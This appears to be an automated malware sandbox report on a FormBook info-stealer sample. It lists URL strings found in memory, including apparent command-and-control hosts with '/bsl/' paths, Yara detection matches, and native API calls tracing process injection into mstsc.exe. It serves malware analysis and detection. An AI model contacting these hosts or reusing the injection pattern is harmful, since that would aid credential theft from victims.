Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.gvanmp.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.gvanmp.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.gvanmp.com/bsl/www.whatchicken.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.gvanmp.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.infomgt.net
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.infomgt.net/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.infomgt.net/bsl/www.renttoowngenius.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.infomgt.netReferer:
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jokerwirewheels.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jokerwirewheels.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jokerwirewheels.com/bsl/www.smoothsailingexpress.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jokerwirewheels.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.listenmelody.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp, explorer.exe, 00000010.00000002.1047288395.00000000063EC000.00000004.00000001.sdmp	String found in binary or memory: http://www.listenmelody.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp, explorer.exe, 00000010.00000002.1047288395.00000000063EC000.00000004.00000001.sdmp	String found in binary or memory: http://www.listenmelody.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.luohu666.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.luohu666.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.luohu666.com/bsl/www.gvanmp.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.luohu666.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.renttoowngenius.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.renttoowngenius.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.renttoowngenius.com/bsl/www.jokerwirewheels.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.renttoowngenius.comReferer:
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.serenityhomedits.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.serenityhomedits.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.serenityhomedits.com/bsl/www.g2vies.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.serenityhomedits.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.smoothsailingexpress.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.smoothsailingexpress.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.smoothsailingexpress.com/bsl/www.theprintshop.ink
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.smoothsailingexpress.comReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.theprintshop.ink
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.theprintshop.ink/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.theprintshop.ink/bsl/www.cbothwelltest2020081703.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.theprintshop.inkReferer:
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.thesunchronical.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.thesunchronical.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.thesunchronical.com/bsl/www.serenityhomedits.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.thesunchronical.comReferer:
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.whatchicken.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.whatchicken.com/bsl/
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.whatchicken.com/bsl/www.estivalconsultancy.com
Source: explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.whatchicken.comReferer:
Source: explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	String found in binary or memory: https://aefd.nel
Source: SearchUI.exe, 00000016.00000002.910509404.000001B8D0EE3000.00000004.00000001.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?c
Source: SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: SearchUI.exe, 00000016.00000002.911665172.000001B8D128D000.00000004.00000001.sdmp, SearchUI.exe, 00000016.00000003.830851464.000001B8D12E5000.00000004.00000001.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: SearchUI.exe, 00000016.00000002.910509404.000001B8D0EE3000.00000004.00000001.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cingr
Source: SearchUI.exe, 00000016.00000002.916371805.000001B8D20E0000.00000004.00000001.sdmp	String found in binary or memory: https://api.msn.com/news/feed?market=en-us&query=
Source: SearchUI.exe, 00000016.00000002.915055024.000001B8D1DD1000.00000004.00000001.sdmp	String found in binary or memory: https://mths.be/fromcodepoint
Source: SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office.com/
Source: SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	String found in binary or memory: https://outlook.office.com/User.ReadWrite
Source: SearchUI.exe, 00000016.00000002.918398229.000001B8D25E0000.00000004.00000001.sdmp	String found in binary or memory: https://substrate.office.com
Source: SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	String found in binary or memory: https://substrate.office.com/api/v2.0/Users(
Source: SearchUI.exe, 00000016.00000002.911449678.000001B8D1204000.00000004.00000001.sdmp	String found in binary or memory: https://substrate.office.com/profile/v0/users/
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683345162.00000000024A1000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683345162.00000000024A1000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.683345162.00000000024A1000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.comT

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Source: WerFault.exe, 0000000A.00000003.731420901.000001EDC784C000.00000004.00000001.sdmp

Binary or memory string: GetRawInputData

Source: Yara match

File source: Process Memory Space: WerFault.exe PID: 7108, type: MEMORY

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00419D60 NtCreateFile,	1_2_00419D60
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00419E10 NtReadFile,	1_2_00419E10
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00419E90 NtClose,	1_2_00419E90
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00419F40 NtAllocateVirtualMemory,	1_2_00419F40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00419DB3 NtCreateFile,	1_2_00419DB3
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00419E8A NtClose,	1_2_00419E8A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	1_2_012F9910
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F99A0 NtCreateSection,LdrInitializeThunk,	1_2_012F99A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9860 NtQuerySystemInformation,LdrInitializeThunk,	1_2_012F9860
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9840 NtDelayExecution,LdrInitializeThunk,	1_2_012F9840
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F98F0 NtReadVirtualMemory,LdrInitializeThunk,	1_2_012F98F0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9A20 NtResumeThread,LdrInitializeThunk,	1_2_012F9A20
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9A00 NtProtectVirtualMemory,LdrInitializeThunk,	1_2_012F9A00
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9A50 NtCreateFile,LdrInitializeThunk,	1_2_012F9A50
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9540 NtReadFile,LdrInitializeThunk,	1_2_012F9540
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F95D0 NtClose,LdrInitializeThunk,	1_2_012F95D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9710 NtQueryInformationToken,LdrInitializeThunk,	1_2_012F9710
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F97A0 NtUnmapViewOfSection,LdrInitializeThunk,	1_2_012F97A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9780 NtMapViewOfSection,LdrInitializeThunk,	1_2_012F9780
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9660 NtAllocateVirtualMemory,LdrInitializeThunk,	1_2_012F9660
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F96E0 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_012F96E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9950 NtQueueApcThread,	1_2_012F9950
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F99D0 NtCreateProcessEx,	1_2_012F99D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9820 NtEnumerateKey,	1_2_012F9820
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012FB040 NtSuspendThread,	1_2_012FB040
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F98A0 NtWriteVirtualMemory,	1_2_012F98A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9B00 NtSetValueKey,	1_2_012F9B00
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012FA3B0 NtGetContextThread,	1_2_012FA3B0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9A10 NtQuerySection,	1_2_012F9A10
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9A80 NtOpenDirectoryObject,	1_2_012F9A80
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9520 NtWaitForSingleObject,	1_2_012F9520
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012FAD30 NtSetContextThread,	1_2_012FAD30
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9560 NtWriteFile,	1_2_012F9560
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F95F0 NtQueryInformationFile,	1_2_012F95F0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9730 NtQueryVirtualMemory,	1_2_012F9730
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012FA710 NtOpenProcessToken,	1_2_012FA710
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9760 NtOpenProcess,	1_2_012F9760
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012FA770 NtOpenThread,	1_2_012FA770
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9770 NtSetInformationFile,	1_2_012F9770
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9FE0 NtCreateMutant,	1_2_012F9FE0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9610 NtEnumerateValueKey,	1_2_012F9610
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9670 NtQueryInformationProcess,	1_2_012F9670
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F9650 NtQueryValueKey,	1_2_012F9650
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F96D0 NtCreateKey,	1_2_012F96D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9540 NtReadFile,LdrInitializeThunk,	6_2_047B9540
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B95D0 NtClose,LdrInitializeThunk,	6_2_047B95D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9660 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_047B9660
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9650 NtQueryValueKey,LdrInitializeThunk,	6_2_047B9650
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B96E0 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_047B96E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B96D0 NtCreateKey,LdrInitializeThunk,	6_2_047B96D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9710 NtQueryInformationToken,LdrInitializeThunk,	6_2_047B9710
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9FE0 NtCreateMutant,LdrInitializeThunk,	6_2_047B9FE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9780 NtMapViewOfSection,LdrInitializeThunk,	6_2_047B9780
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9860 NtQuerySystemInformation,LdrInitializeThunk,	6_2_047B9860
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9840 NtDelayExecution,LdrInitializeThunk,	6_2_047B9840
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_047B9910
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B99A0 NtCreateSection,LdrInitializeThunk,	6_2_047B99A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9A50 NtCreateFile,LdrInitializeThunk,	6_2_047B9A50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9560 NtWriteFile,	6_2_047B9560
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047BAD30 NtSetContextThread,	6_2_047BAD30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9520 NtWaitForSingleObject,	6_2_047B9520
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B95F0 NtQueryInformationFile,	6_2_047B95F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9670 NtQueryInformationProcess,	6_2_047B9670
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9610 NtEnumerateValueKey,	6_2_047B9610
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9770 NtSetInformationFile,	6_2_047B9770
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047BA770 NtOpenThread,	6_2_047BA770
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9760 NtOpenProcess,	6_2_047B9760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9730 NtQueryVirtualMemory,	6_2_047B9730
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047BA710 NtOpenProcessToken,	6_2_047BA710
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B97A0 NtUnmapViewOfSection,	6_2_047B97A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047BB040 NtSuspendThread,	6_2_047BB040
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9820 NtEnumerateKey,	6_2_047B9820
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B98F0 NtReadVirtualMemory,	6_2_047B98F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B98A0 NtWriteVirtualMemory,	6_2_047B98A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9950 NtQueueApcThread,	6_2_047B9950
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B99D0 NtCreateProcessEx,	6_2_047B99D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9A20 NtResumeThread,	6_2_047B9A20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9A10 NtQuerySection,	6_2_047B9A10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9A00 NtProtectVirtualMemory,	6_2_047B9A00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9A80 NtOpenDirectoryObject,	6_2_047B9A80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047B9B00 NtSetValueKey,	6_2_047B9B00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047BA3B0 NtGetContextThread,	6_2_047BA3B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00159D60 NtCreateFile,	6_2_00159D60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00159E10 NtReadFile,	6_2_00159E10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00159E90 NtClose,	6_2_00159E90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00159F40 NtAllocateVirtualMemory,	6_2_00159F40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00159DB3 NtCreateFile,	6_2_00159DB3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00159E8A NtClose,	6_2_00159E8A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Code function: 0_2_08814EF4 CreateProcessAsUserW,

0_2_08814EF4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_0096C9BB	0_2_0096C9BB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_0096EBE3	0_2_0096EBE3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_0096D4AF	0_2_0096D4AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_00962590	0_2_00962590
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_00969E80	0_2_00969E80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_00966750	0_2_00966750
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_00963988	0_2_00963988
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_0096C370	0_2_0096C370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_0096B5C0	0_2_0096B5C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB8514	0_2_04AB8514
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB0788	0_2_04AB0788
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB2798	0_2_04AB2798
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04ABCE58	0_2_04ABCE58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB1F98	0_2_04AB1F98
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB8609	0_2_04AB8609
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB0778	0_2_04AB0778
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04AB7C50	0_2_04AB7C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04ABCE48	0_2_04ABCE48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_04ABD968	0_2_04ABD968
